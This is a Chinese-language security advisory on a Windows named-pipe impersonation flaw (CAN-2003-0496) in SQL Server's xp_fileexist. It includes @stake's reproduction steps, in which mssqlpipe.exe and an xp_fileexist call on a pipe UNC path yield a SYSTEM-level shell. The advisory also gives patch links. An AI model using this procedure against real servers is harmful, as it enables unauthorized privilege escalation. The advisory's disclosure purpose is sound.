Windows命名管道文件名本地权限提升缺陷 (MS,补丁) 涉及程序: SQL Server xp_fileexist 描述: Windows命名管道文件名本地权限提升缺陷 详细: 在Windows中,通过指定文件代替命名管道名作为SQL Server xp_fileexist存储扩展的参数,可导致以用户帐户SQL权限或者其他服务进程权限运行此文件,可能导致权限提升。 漏洞是由于CreateFile系统调用的操作和可劫持冒充Windows命名管道。API调用CreateFile用来打开或建立文件,命名管道,Mail slot等,不过没有任何机制来限制这个API调用打开何种资源。WIN32中多数服务运行在系统帐户下并以一定方式处理文件,如果可以通过指定文件让服务打开的方法,就可能以此服务的帐户运行。另外如果使用了UNC路径,在冒充管道客户端前就不需要在命名管道上进行读操作。 通过Microsoft SQL服务器可方便利用此漏洞,因为SQL服务器有大量过程调用可以指定要使用的文件,如使用xp_fileexist,这个扩展存储过程可以全局可执行,通过建立任意名的命名管道服务器并使用命名管道的UNC名作为参数执行xp_fileexit,就可以冒充SQL服务器帐户权限执行文件。 其他服务也可能存在此类缺陷。 受影响系统: Microsoft SQL Server Desktop Engine 2000 Microsoft SQL Server Desktop Engine (MSDE) 1.0 Microsoft SQL Server 7.0 SP4 Microsoft SQL Server 7.0 SP3 alpha Microsoft SQL Server 7.0 SP3 Microsoft SQL Server 7.0 SP2 alpha Microsoft SQL Server 7.0 SP2 Microsoft SQL Server 7.0 SP1 alpha Microsoft SQL Server 7.0 SP1 Microsoft SQL Server 7.0 alpha Microsoft SQL Server 7.0 Microsoft SQL Server 6.5 Microsoft SQL Server 6.0 Microsoft SQL Server 2000 SP3 Microsoft SQL Server 2000 SP2 Microsoft SQL Server 2000 SP1 Microsoft SQL Server 2000 - Microsoft Windows 2000 Server SP3 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server - Microsoft Windows 2000 Professional SP3 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Datacenter Server SP3 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Advanced Server SP3 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server 攻击方法: Andreas Junestam (andreas@atstake.com)提供了如下测试方法: 下面是@tstake提供的测试过程,Mssqlpipe.exe是可以建立命名管道的程序,等待客户连接,然后冒充客户端帐户角色,然后指定命令行指定的程序: - - From command shell #1: C:\\>mssqlpipe.exe cmd.exe Creating pipe: \\\\.\\Pipe\\atstake Pipe created, waiting for connectection Connect to the database (with isql for example) and execute: xp_fileexist \`\\\\SERVERNAME\\pipe\\atsstake\` Then in command shell #2: C:\\>isql -U andreas Password: 1> xp_fileexist \`\\\\TEMP123\\pipe\\atstake\` 2> go File Exists File is a Directory Parent Directory Exists ----------- ------------------- ----------------------- 1 0 1 然后返回到command shell #1: 冒充拥护成功,我们以SYTEM用户运行。 解决方案: 下载Windows 2000 SP4 简体中文版本补丁 http://download.microsoft.com/download/4/1/4/4140e2e0-0ad9-4438-ac52-da0e0429c0e6/w2ksp4_cn.exe 其它语言版本补丁 http://www.microsoft.com/Windows2000/downloads/servicepacks/sp4/ 附加信息: CVE(CAN) ID: CAN-2003-0496